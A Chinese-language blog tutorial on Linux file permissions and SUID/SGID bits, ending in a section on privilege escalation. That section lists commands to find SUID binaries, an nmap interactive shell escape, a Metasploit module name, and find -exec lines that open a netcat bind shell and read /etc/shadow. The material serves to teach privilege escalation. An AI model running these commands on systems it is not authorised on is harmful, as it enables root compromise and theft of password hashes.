Linux SUID/SGID介紹及利用

轉自個人博客0pt1mus

0x00 Linux文件屬性

通過ls -l我們可以查看各個文件的訪問權限。

我們可以觀察上方的這幾個例子。

剛開始的第一位表示的是該文件的類型,有p、d、l、s、c、b和-。

符號 含義
p 表示命名管道文件
d 表示目錄
l 表示符號鏈接文件
- 表示普通文件
s 表示socket文件
c 表示字符設備文件
b 表示塊設備文件

之後的每三位分別表示文件所有者的權限、同組用戶的權限、其他用戶的權限。

符號 含義
w
r
x 執行

之後的數字表示硬鏈接的個數,然後就是文件所有者,所在組,再然後是文件的大小,和最新的更改時間,最後是文件名。

drwxr-xr-x  11 optimus  staff   352  2 18 12:01 tools

如上,這是一個目錄,所有者optimus的權限爲讀寫執行權限(這裏的執行權限爲搜索位,表示可以讀寫該目錄的文件),所在組爲staff,同組用戶權限爲讀執行,其他用戶的權限爲讀權限,有11個硬鏈接,大小爲352,最新更新時間爲2月18日12:01,文件名是tools。

0x01 SUID與SGID

如果我們設置了SUID或SGID,那麼所有者權限或同組權限的可執行位置就變爲了s(區分大小寫)。

屬性 含義
-rwsr-xr-x 表示SUID和所有者權限中可執行位被設置
-rwSr–r-- 表示SUID被設置,但所有者權限中可執行位沒有被設置
-rwxr-sr-x 表示SGID和同組用戶權限中可執行位被設置
-rw-r-Sr– 表示SGID被設置,但同組用戶權限中可執行位沒有被設置

一個文件的權限,是由12位二進制位來表示的,第11位爲SUID位,第10位爲SGID位,第9位爲sticky位,第8-0位對應於上面的三組rwx位。

-rwxr-xr-x  11 optimus  staff   352  2 18 12:01 myfile

以上面爲例,任何用戶都可以執行這個程序。UNIX的內核是根據什麼來確定一個進程對資源的訪問權限的呢?是這個進程的運行用戶的(有效)ID,包括user id和group id。用戶可以用id命令來查到自己的或其他用戶的user id和group id。

除了一般的user id 和group id外,還有兩個稱之爲effective 的id,就是有效id,上面的四個id表示爲:uid,gid,euid,egid。內核主要是根據euid和egid來確定進程對資源的訪問權限。

一個進程如果沒有SUID或SGID位,則euid=uid egid=gid,分別是運行這個程序的用戶的uid和gid。例如jeffrey用戶的uid和gid分別爲204和202,optimus用戶的uid和gid爲200,201,jeffrey運行myfile程序形成的進程的euid=uid=204,egid=gid=202,內核根據這些值來判斷進程對資源訪問的限制,其實就是jeffrey用戶對資源訪問的權限,和optimus沒關係。

如果一個程序設置了SUID,則euid和egid變成被運行的程序的所有者的uid和gid,例如jeffrey用戶運行myfile,euid=200,egid=201,uid=204,gid=202,則這個進程具有它的屬主optimus的資源訪問權限。

SUID的作用就是這樣:讓本來沒有相應權限的用戶運行這個程序時,可以訪問他沒有權限訪問的資源。passwd就是一個很鮮明的例子。

0x02 利用

可利用的命令有nmap、vim、find、bash、more、less、nano、cp。

查找開啓SUID的命令

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

nmap利用

nmap版本小於5.21時,可打開交互模式。

nmap —interactive
nmap>!sh

也可以通過Metasploit模塊對Nmap的二進制文件進行權限提升。

exploit/unix/local/setuid_nmap

在這個腳本中有一段註釋。

Note that modern interpreters will refuse to run scripts on the command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby} payloads will most likely not work.

這段註釋的翻譯爲

注意,當EUID != UID時,現代解釋器將拒絕在命令行上運行腳本,因此cmd/unix/reverse_{perl,ruby}負載很可能無法工作。

find利用

find existFile -exec whoami \;
find existFile -exec nc -lvp 4444 -e /bin/sh \;
find existFile -exec cat /etc/shadow \;

其中第二個命令在實踐時發現打開的命令行任然是普通用戶的權限。

可以看到這時的uid和euid的值都爲1000。因此這種方式現在可能會失效。但是其他方式還是可以的。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章